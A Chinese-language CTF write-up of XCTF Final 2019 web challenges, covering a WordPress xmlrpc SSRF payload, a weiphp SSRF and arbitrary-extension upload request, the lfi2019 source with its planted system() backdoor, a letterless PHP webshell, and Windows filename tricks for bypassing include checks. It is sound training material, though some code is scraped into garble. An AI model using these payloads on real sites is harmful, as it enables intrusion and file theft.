1. Web 1.1. babyblog 1.2. babypress 1.3. weiphp 1.3.1. SSRF 1.3.2. upload 1.4. lfi2019 1.4.1. Trick 1 1.4.2. Trick 2 1.5. noxss 1.6. tfboys 2. Conclusion
我们 SU 这次一共做出了3个 Web ,由于今年 XCTF Final 的时间不是特别好,我们队其他师傅有考试的考试,基本就现场的两个 Web 手在做,最后 LFI2019 比较可惜,如果多个几 min 我们就可以出了,实在可惜。下面就写写本次的 Web Write Up。
[TOC]
Web babyblog 界面跟 Byte CTF 的 babyblog 一致,有些功能还保留着,很有误导性…以为是个升级版,前者是一道二次注入后用 php 正则/e
特性来执行命令的,所以我们一开始也就一直在日注入了…
后来我发现/user
个人界面有 ip 记录,于是尝试 XFF 注入无果,但是可以把 XFF 直接回显到页面上。发现/server_status
,发现有大家的访问记录。陷入思考ing…
队友突然看到有一个访问记录/user/1.css
(类似的这么一个路由,不太想得起来了),马上想到可能是缓存投毒,联想跟上文说的 XFF 的设置,想到可以缓存投毒将反射 xss 变成缓存 xss ,这样就可以打到 admin 了。
babypress 这题比较狗血…前一天给了两个 hint :
1 2 3 first hint for babypress: ssrf n-day exploit on the internet will not worksecond hint: if you can exploit in your local , it should be possible to exploit in remote.
随便搜一下我们大概可以知道 ssrf n-day 是通过 xmlrpc.php
这个文件来打内网的,然后当晚我们通过xmlrpc.php
成功进行了 SSRF ,当看到了这两个 hint …我们就感觉不妙,应该打的不是我们这个, but 我们确实打成功了呀…于是我们当晚又加了一会班,当时最新版本是 5.2.4 ,于是我们找到 5.2.4 的 security issue ,然后找到了更新补丁 ,但是感觉绕不过…以为是个新的绕过方式啥的…
好了,结果到了第二天一开始没人打成功…后来,到了差不多中午主办方又发公告更换环境,当时我们都在看另一个题,也就没管,结果一会有两个队出了…然后我们试了一下昨晚我们打xmlrpc.php
的,就成了…
1 2 3 4 5 6 7 <methodCall > <methodName > pingback.ping</methodName > <params > <param > <value > <string > http://<YOUR SERVER > :<port > </string > </value > </param > <param > <value > <string > http://<SOME VALID BLOG FROM THE SITE > </string > </value > </param > </params > </methodCall >
主要就是要发一个评论以及更改一下第二个参数为他的 host 才行…这题也没啥好说的…感觉全场唯一的槽点(Web)就是这个了。
weiphp 一个叫 weiphp 的 CMS 审计,这个主要是队友看的,我当时做另外一道题去了。我们出的是一个 ssrf 的地方,赛后问了出的师傅,是审了上传的地方。
SSRF 我们全局搜curl
,可以在 Base.php 中发现有以下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public function post_data ($url, $param, $type = 'json' , $return_array = true, $useCert = []) { $res = post_data($url, $param, $type, $return_array, $useCert); if (isset ($res['curl_erron' ])) { $this ->error($res['curl_erron' ] . ': ' . $res['curl_error' ]); } if ($return_array) { if (isset ($res['errcode' ]) && $res['errcode' ] != 0 ) { $this ->error(error_msg($res)); } elseif (isset ($res['return_code' ]) && $res['return_code' ] == 'FAIL' && isset ($res['return_msg' ])) { $this ->error($res['return_msg' ]); } elseif (isset ($res['result_code' ]) && $res['result_code' ] == 'FAIL' && isset ($res['err_code' ]) && isset ($res['err_code_des' ])) { $this ->error($res['err_code' ] . ': ' . $res['err_code_des' ]); } } return $res; }
跟进第三行的post_data
,我们可以在 common.php 中找到该函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 function post_data ($url, $param = [], $type = 'json' , $return_array = true, $useCert = []) { $has_json = false ; if ($type == 'json' && is_array($param)) { $has_json = true ; $param = json_encode($param, JSON_UNESCAPED_UNICODE); } elseif ($type == 'xml' && is_array($param)) { $param = ToXml($param); } add_debug_log($url, 'post_data' ); $ch = curl_init(); if ($type != 'file' ) { add_debug_log($param, 'post_data' ); curl_setopt($ch, CURLOPT_TIMEOUT, 30 ); } else { curl_setopt($ch, CURLOPT_TIMEOUT, 180 ); } curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true ); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false ); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false ); if ($type == 'file' ) { $header[] = "content-type: multipart/form-data; charset=UTF-8" ; curl_setopt($ch, CURLOPT_HTTPHEADER, $header); } elseif ($type == 'xml' ) { curl_setopt($ch, CURLOPT_HEADER, false ); } elseif ($has_json) { $header[] = "content-type: application/json; charset=UTF-8" ; curl_setopt($ch, CURLOPT_HTTPHEADER, $header); } curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1 ); curl_setopt($ch, CURLOPT_AUTOREFERER, 1 ); curl_setopt($ch, CURLOPT_POSTFIELDS, $param); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true ); if (isset ($useCert['certPath' ]) && isset ($useCert['keyPath' ])) { curl_setopt($ch, CURLOPT_SSLCERTTYPE, 'PEM' ); curl_setopt($ch, CURLOPT_SSLCERT, $useCert['certPath' ]); curl_setopt($ch, CURLOPT_SSLKEYTYPE, 'PEM' ); curl_setopt($ch, CURLOPT_SSLKEY, $useCert['keyPath' ]); } $res = curl_exec($ch); if ($type != 'file' ) { add_debug_log($res, 'post_data' ); } $flat = curl_errno($ch); $msg = '' ; if ($flat) { $msg = curl_error($ch); } if ($flat) { return [ 'curl_erron' => $flat, 'curl_error' => $msg ]; } else { if ($return_array && !empty ($res)) { $res = $type == 'json' ? json_decode($res, true ) : FromXml($res); } return $res; } }
可以看到 common.php 中的没有什么过滤,所以我们只需要找引用 Base.php 当中的post_data
函数的地方就行了。我们随便登录一下就可以发现其路由规则了,比如登录路由是index.php/home/user/login
,对应的是application/home/controller/User.php
当中的login()
方法,而 Base.php 跟其他 controller 有以下继承关系:
1 home/controller/User.php -> home/controller/Home.php -> common/controller/WebBase.php -> common/controller/Base.php
所以post_data
为 public 方法也可以直接调用,所以根据post_data
方法的参数,我们需要传入几个参数,url
为 SSRF 的点,param
随笔即可。
这里由于 cms 开启了 debug ,这里要把type
参数设为file
,让post_data
函数在调用FromXml
函数的时候,由于我们传入诸如url=file:///etc/passwd
的参数,会导致simple_xml_load_string
出错
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 function FromXml ($xml) { if (!$xml) { exception ("xml数据异常!" ); } file_log($xml, 'FromXml' ); $arr = json_decode($xml, true ); if (is_array($arr) && !empty ($arr)) { return $arr; } $arr = json_decode(json_encode(simplexml_load_string($xml, 'SimpleXMLElement' , LIBXML_NOCDATA)), true ); return $arr; }
可以看到在图中已经拿到了文件内容回显,所以当时我们就用这个 SSRF 拿到了 flag
upload 在application/home/controller/File.php
我们可以看到有这么一个方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public function upload_root () { $return = array ( 'status' => 1 , 'info' => '上传成功' , 'data' => '' ); $File = D('home/File' ); $file_driver = strtolower(config('picture_upload_driver' )); $setting = array ( 'rootPath' => './' , ); $info = $File->upload($setting, config('picture_upload_driver' ), config("upload_{$file_driver}_config" )); if ($info) { $return['status' ] = 1 ; $return = array_merge($info['download' ], $return); } else { $return['status' ] = 0 ; $return['info' ] = $File->getError(); } return json_encode($return); }
其中是调用了application/home/model/File.php
中的一个upload
函数
1 2 3 4 5 6 public function upload ($setting = [], $driver = 'Local' , $config = null, $isTest = false) {true... $info = upload_files($setting, $driver, $config, 'download' , $isTest); ... }
这个函数又调用了application/common.php
当中的upload_files
函数,然后我们可以发现又这么一段神奇的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 if ($type == 'picture' ) { $checkRule['ext' ] = 'gif,jpg,jpeg,png,bmp' ; $checkRule['size' ] = 20971520 ; } else { $allowExt = input('allow_file_ext' , '' ); if ($allowExt != '' ) { $checkRule['ext' ] = $allowExt; } $allowSize = input('allow_file_maxsize' , '' ); if ($allowSize > 0 ) { $checkRule['size' ] = $allowSize; } }
这里input('allow_file_ext', '');
表示我们可以设置允许上传的类型…然后我们随便上传一个试试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 POST /weiphp/public/index.php/home/file/upload_root HTTP/1.1Host : zedd.vvUser-Agent : Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0Accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflateContent-Type : multipart/form-data; boundary=---------------------------6593480186465200061941970669Content-Length : 480Origin : http://zedd.vvConnection : closeReferer : http://zedd.vv/upload.htmlCookie : PHPSESSID=0cfb281c78e25924ebb7c8abe9084590Upgrade-Insecure-Requests : 1-----------------------------6593480186465200061941970669 Content-Disposition : form-data; name="name"; filename="1.phtml"Content-Type : text/php<?php phpinfo();?> -----------------------------6593480186465200061941970669 Content-Disposition : form-data; name="allow_file_ext"phtml -----------------------------6593480186465200061941970669 Content-Disposition : form-data; name="allow_file_maxsize"1024 -----------------------------6593480186465200061941970669--
虽然报错了但是我们依然上传成功了,直接访问那个路径即可。
lfi2019 在 header 头有一个提示可以拿到源码
1 X -Hint: /index .php?show-me -the-hint
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 <?php error_reporting(0 ); ini_set("display_errors" ,"off" ); @require ('flag.php' ); $seed = md5(rand(PHP_INT_MIN,PHP_INT_MAX)); if ($flag === $_GET['trigger' ]){ die (hash("sha256" , $seed . $flag)); } ini_set('session.cookie_httponly' , 1 ); @phpinfo(); ini_set('session.cookie_secure' , 1 ); @phpinfo(); ini_set('session.use_only_cookies' ,1 ); @phpinfo(); ini_set('session.gc_probability' , 1 ); @phpinfo(); session_save_path('./sess/' ); session_name("lfi2019" ); session_start(); session_destroy(); function rrmdir ($dir, $depth=0 ) { if (is_dir($dir)){ $objects = scandir($dir); foreach ($objects as $object){ if ($object != "." && $object != ".." ){ if (is_dir($dir."/" .$object)) rrmdir($dir."/" .$object, $depth + 1 ); else unlink($dir."/" .$object); } } } if ($depth != 0 ) rmdir($dir); } function countdir ($dir) { if (is_dir($dir)){ $objects = scandir($dir); foreach ($objects as $object){ if ($object != "." && $object != ".." ){ $count += 1 ; if (is_dir($dir."/" .$object)) $count += countdir($dir."/" .$object); } } } return $count; } var_dump(countdir("./files" )); if (countdir("./files/" ) >= 100 ) @rrmdir("./files/" ); function path_sanitizer ($dir, $harden=false) { $dir = (string)$dir; $dir_len = strlen($dir); $filter = ['.' , './' , '~' , '.\\' , '#' , '<' , '>' ]; foreach ($filter as $f){ if (stripos($dir, $f) !== false ){ return false ; } } $stream = stream_get_wrappers(); $stream = array_merge($stream, stream_get_transports()); $stream = array_merge($stream, stream_get_filters()); foreach ($stream as $f){ $f_len = strlen($f); if (substr($dir, 0 , $f_len) === $f){ return false ; } } if ($dir_len >= 128 ){ return false ; } truetrue truetrueif ($harden){ truetruetrue$harden_filter = ["/" , "\\" ]; truetruetrueforeach ($harden_filter as $f){ truetruetruetrue$dir = str_replace($f, "" , $dir); truetruetrue} truetrue} return $dir; } function code_sanitizer ($code) { $code = preg_replace("/[^<>[email protected] #$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;]/u" , "*Nope*" , (string)$code); return $code; } class Get { protected function nanahira () { function exploit ($data) { $exploit = new System(); } $_GET['trigger' ] && [email protected] @@@@@@@@@@@@exploit($$$$$$_GET['leak' ]['leak' ]); } private $filename; function __construct ($filename) { $this ->filename = path_sanitizer($filename); } function get () { if ($this ->filename === false ){ return ["msg" => "blocked by path sanitizer" , "type" => "error" ]; } if ([email protected] _exists($this ->filename)){ if (stripos($this ->filename, "index" ) !== false ){ return ["msg" => "you cannot include index files!" , "type" => "error" ]; } $read_file = "./files/" . $this ->filename; $read_file_with_hardened_filter = "./files/" . path_sanitizer($this ->filename, true ); if ($read_file === $read_file_with_hardened_filter || @file_get_contents($read_file) === @file_get_contents($read_file_with_hardened_filter)){ return ["msg" => "request blocked" , "type" => "error" ]; } @include ("./files/" . $this ->filename); return ["type" => "success" ]; }else { return ["msg" => "invalid filename (wtf)" , "type" => "error" ]; } } } class Put { protected function nanahira () { function exploit ($data) { $exploit = new System(); } $_GET['trigger' ] && [email protected] @@@@@@@@@@@@exploit($$$$$$_GET['leak' ]['leak' ]); } private $filename; private $content; private $dir = "./files/" ; function __construct ($filename, $data) { global $seed; if ((string)$filename === (string)@path_sanitizer($data['filename' ])){ $this ->filename = (string)$filename; }else { $this ->filename = false ; } $this ->content = (string)@code_sanitizer($data['content' ]); } function put () { if ($this ->filename === false ){ return ["msg" => "blocked by path sanitizer" , "type" => "error" ]; } if (file_exists($this ->dir . $this ->filename)){ return ["msg" => "file exists" , "type" => "error" ]; } file_put_contents($this ->dir . $this ->filename, $this ->content); if (@file_get_contents($this ->dir . $this ->filename) == "" ){ return ["msg" => "file not written." , "type" => "error" ]; } return ["type" => "success" ]; } } class System { function __destruct () { global $seed; $flag = hash('sha256' , $seed); if ($_GET[$flag]){ @system($_GET[$flag]); }else { @unserialize($_SESSION[$flag]); } } } if ($_SERVER['QUERY_STRING' ] === "show-me-the-hint" ){ show_source(__FILE__ ); exit ; } header('X-Hint: /index.php?show-me-the-hint' ); header('X-Frame-Options: DENY' ); header('X-XSS-Protection: 1; mode=block;' ); header('X-Content-Type-Options: nosniff' ); header('Content-Type: text/html; charset=utf-8' ); header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0' ); $parsed_url = explode("&" , $_SERVER['QUERY_STRING' ]); if (count($parsed_url) >= 2 ){ header("Content-Type:text/json" ); switch ($parsed_url[0 ]){ case "get" : $get = new Get($parsed_url[1 ]); $data = $get->get(); break ; case "put" : $put = new Put($parsed_url[1 ], $_POST); $data = $put->put(); break ; default : $data = ["msg" => "Invalid data." ]; break ; } die (json_encode($data)); } ?> <!doctype html> <html> <head> <meta charset=utf-8 > <link rel="stylesheet" href="//stackpath.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" nonce="<?php echo $seed; ?>" > <link rel="styleshhet" href="//fonts.googleapis.com/css?family=Muli:300,400,700" nonce="<?php echo $seed; ?>" > <link rel="stylesheet" href="./static/legit.css" nonce="<?php echo $seed; ?>" > <title>LFI2019</title> </head> <body> <div class="modal fade" id="put-modal"> <div class="modal-dialog modal-lg"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title">put2019</h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true" >×</span> </button> </div> <div class="modal-body"> <div class="form-group"> <label for="upload-filename" class="col-form-label">Filename:</label> <input type="text" class="form-control" id="upload-filename"> </div> <div class="form-group"> <label for="upload-content" class="col-form-label">Content:</label> <textarea class="form-control disabled" id="upload-content" rows=10></textarea> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button> <button type="button" class="btn btn-primary" id="upload-submit">put();</button> </div> </div> </div> </div> <div class="modal fade" id="get-modal"> <div class="modal-dialog modal-lg"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title">get2019</h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true" >×</span> </button> </div> <div class="modal-body"> <div class="form-group"> <label for="include-filename" class="col-form-label">Filename:</label> <input type="text" class="form-control" id="include-filename"> </div> <div class="form-group"> <textarea class="form-control disabled" id="include-content" disabled rows=10></textarea> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button> <button type="button" class="btn btn-primary" id="include-submit">include();</button> </div> </div> </div> </div> <div class="modal fade" id="info-modal"> <div class="modal-dialog modal-lg"> <div class="modal-content"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button> </div> <div class="modal-body"> <p> Hi there! We introduce LFI2019 with another technique that never came out on CTFs. We want to end tedious LFI challenges starting from this year. Traps are everywhere, so be warned. Good Luck! </p> <p> .. and of course, the main objective for this challenge is absolutely straightforward: Leak the sourcecode of flag file to solve this challenge. flag is located at <code>flag.php</code>. </p> </div> <div class="modal-footer"> <button type="button" class="btn btn-default" data-dismiss="modal">Close</button> </div> </div> </div> </div> <ul class="text hidden"> <li>L</li> <li class="ghost">e</li> <li class="ghost">g</li> <li class="ghost">i</li> <li class="ghost">t</li> <li class="spaced">F</li> <li class="ghost">i</li> <li class="ghost">l</li> <li class="ghost">e</li> <li class="spaced">I</li> <li class="ghost">n</li> <li class="ghost">c</li> <li class="ghost">l</li> <li class="ghost">u</li> <li class="ghost">s</li> <li class="ghost">i</li> <li class="ghost">o</li> <li class="ghost">n</li> <li class="spaced">2019</li> <br> truetrue<br> <div class="hide" id="kawaii"> <center> <button class="btn col-4 btn-success half" id="get">include</button> <button class="btn col-4 btn-warning" id="put">upload</button> <button class="btn col-3 btn-info" id="info">info</button> <p class="lightgrey"> Reference ID: <b class="ref"><?php echo $seed; ?></b> </p> Made with ♥ by stypr. </center> </div> </ul> <script src="https://code.jquery.com/jquery-3.3.1.min.js" nonce="<?php echo $seed; ?>" ></script> <script src="//stackpath.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js" nonce="<?php echo $seed; ?>" ></script> <script src="./static/legit.js" nonce="<?php echo $seed; ?>" defer></script> </body> </html> <!-- https:
不过比较无语的是有很多的垃圾代码…可以看到有个出题人留的后门函数,but 因为code_sanitizer
的过滤
1 2 3 4 5 6 function code_sanitizer ($code) { $code = preg_replace("/[^<>[email protected] #$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;]/u" , "*Nope*" , (string)$code); return $code; }
这里我们可以使用无字母的 webshell 来进行一个绕过,可以参考一些不包含数字和字母的webshell ,这里我就直接放 ROIS 师傅们的无字母 webshell 内容了
1 <? =$_=[]?> <? [email protected] "$_" ?> <? =$___=$_['!' !='@' ]?> <? =$____=$_[('!' =='!' )+('!' =='!' )+('!' =='!' )]?> <? =$_=$____?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$__.=$_?> <? =$_=$____?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$__.=$_?> <? =$_=$____?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$__.=$_?> <? =$_=$____?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$__.=$_?> <? =$_="_" ?> <? =$__.=$_?> <? =$_=$____?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$__.=$_?> <? =$_=$____?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$__.=$_?> <? =$_=$____?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$__.=$_?> <? =$_="_" ?> <? =$__.=$_?> <? =$_=$____?> <? =$_++?> <? =$_++?> <? =$__.=$_?> <? =$_=$____?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$__.=$_?> <? =$_=$____?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$__.=$_?> <? =$_=$____?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$__.=$_?> <? =$_=$____?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$__.=$_?> <? =$_=$____?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$__.=$_?> <? =$_=$____?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$__.=$_?> <? =$_=$____?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$__.=$_?> <? =$_____=$__?> <? =$__='' ?> <? =$_=$____?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$__.=$_?> <? =$_=$____?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$__.=$_?> <? =$_=$____?> <? =$__.=$_?> <? =$_=$____?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$__.=$_?> <? =$_="." ?> <? =$__.=$_?> <? =$_=$____?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$__.=$_?> <? =$_=$____?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$__.=$_?> <? =$_=$____?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$_++?> <? =$__.=$_?> <? =$_____($__)?>
不过他们可能搞错了,这里他们本意想用<?=?>
来绕过;
限制,但是其实;
并没有过滤…
最后一步可以说有了,我们来看看前几步,Put
类的__construct
有一个path_sanitizer
,我们可以看到有一些检查什么的,没有false
的情况是不会过滤/
的,这里初始化的时候不会过滤/
。
所以如果我们在写文件的时候,用put&test/test
去写test
目录test
文件,file_put_contents
会因为test
目录不存在而写不进去。
1 file_put_contents(./test/test): failed to open stream: No such file or directory
那如果我们直接写进一个test
文件呢?写是没有问题的,但是我们在用get
路由读的时候就会发生问题了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 function get () { if ($this ->filename === false ){ return ["msg" => "blocked by path sanitizer" , "type" => "error" ]; } if ([email protected] _exists($this ->filename)){ if (stripos($this ->filename, "index" ) !== false ){ return ["msg" => "you cannot include index files!" , "type" => "error" ]; } $read_file = "./files/" . $this ->filename; $read_file_with_hardened_filter = "./files/" . path_sanitizer($this ->filename, true ); if ($read_file === $read_file_with_hardened_filter || @file_get_contents($read_file) === @file_get_contents($read_file_with_hardened_filter)){ return ["msg" => "request blocked" , "type" => "error" ]; } @include ("./files/" . $this ->filename); return ["type" => "success" ]; }else { return ["msg" => "invalid filename (wtf)" , "type" => "error" ]; } }
我们仔细看这段代码,由于path_sanitizer
传入了true
,这里会把传入的文件名当中/
过滤为空,然后有一个比较,如果直接拼接得到的路径与拼接上过滤之后得到的路径相等的话,会进一步比较他们的文件内容,如果相等的话就会被 block …而我们要进行 include ,那就需要绕过这两个判断…
什么个意思呢?就是即使文件名相等,内容也不能相等。
但是我们这里要注意path_sanitizer
,如果我们传入一个含有/
的文件名那就可以利用这个方法绕过文件名的判断,直接进行包含了。
而题目环境我们可以由一开始的 phpinfo 得到是一个 windows 的环境(虽然赛场是没有的,但是也可以通过各种方法判断一下,比如 nmap 啥的…)
所以我们现在主要就是绕读写文件这一块了。
Trick 1
对于Windows的文件读取,有一个小 Trick :使用FindFirstFile
这个API的时候,其会把"
解释为.
。
1 2 > shell "php === shell .php >
所以我们可以利用这个 trick ,来构造文件名为"/test
的文件,什么个意思呢?
1 2 3 4 $read_file = "./files/./test" ; $read_file_with_hardened_filter = "./files/.test" ; file_get_contents($read_file) = '实际文件内容' ; file_get_contents($read_file_with_hardened_filter) = false
传入的"/test
文件名,由于这个 trick ,会被 Windows 认为是./test
,所以在处理这个方式上就产生了差异也就绕过了两个判断
Trick 2 可以参考 windows的一些特性 这篇文章,文章最后告诉我们,可以上传一个文件名为test::$INDEX_ALLOCATION
的文件,就相当于创建了一个test
的文件夹,详细原理可以看该篇文章。
这样我们就可以先用这个 Trick 创建一个文件夹test
,然后用put
随意写一个文件test/file
,在读取的时候,由于path_sanitizer
会把我们的/
过滤,就成功绕过了文件名的判断了。绕过了这些就只剩下无字母写 webshell 的问题了。
noxss 单独为这道题开一篇文章来写,真的tql…
tfboys 机器学习的题目,表示不会…地址在 XCTF-2019-tfboys
Conclusion 体验极其好的一次比赛,非常感谢 @r3kapig 师傅们的精心准备,毫不夸张地说,这是本年度体验最好的一场比赛,无论从题目质量或者是从比赛过程的体验,都是非常棒的。希望国内以后更多一些这类的良心比赛!
Comments